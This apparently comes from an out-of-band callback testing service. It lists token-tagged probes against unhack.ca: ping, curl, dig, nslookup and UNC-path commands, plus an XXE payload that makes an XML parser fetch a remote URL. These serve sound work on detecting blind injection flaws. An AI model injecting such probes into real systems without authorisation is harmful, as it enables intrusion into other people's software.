$ ping -c1 -p 009708ef956b0c480c9f3bcd731e5f00 unhack.ca
 

$ curl http://unhack.ca/p/9708ef956b0c480c9f3bcd731e5f
 

$ dig 9708ef956b0c480c9f3bcd731e5f @unhack.ca
 

$ dig 9708ef956b0c480c9f3bcd731e5f.ns.unhack.ca
 

C:\> nslookup 9708ef956b0c480c9f3bcd731e5f unhack.ca
 

C:\> type \\unhack.ca\9708ef956b0c480c9f3bcd731e5f\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/9708ef956b0c480c9f3bcd731e5f">]>
    <foo>&xxe;</foo>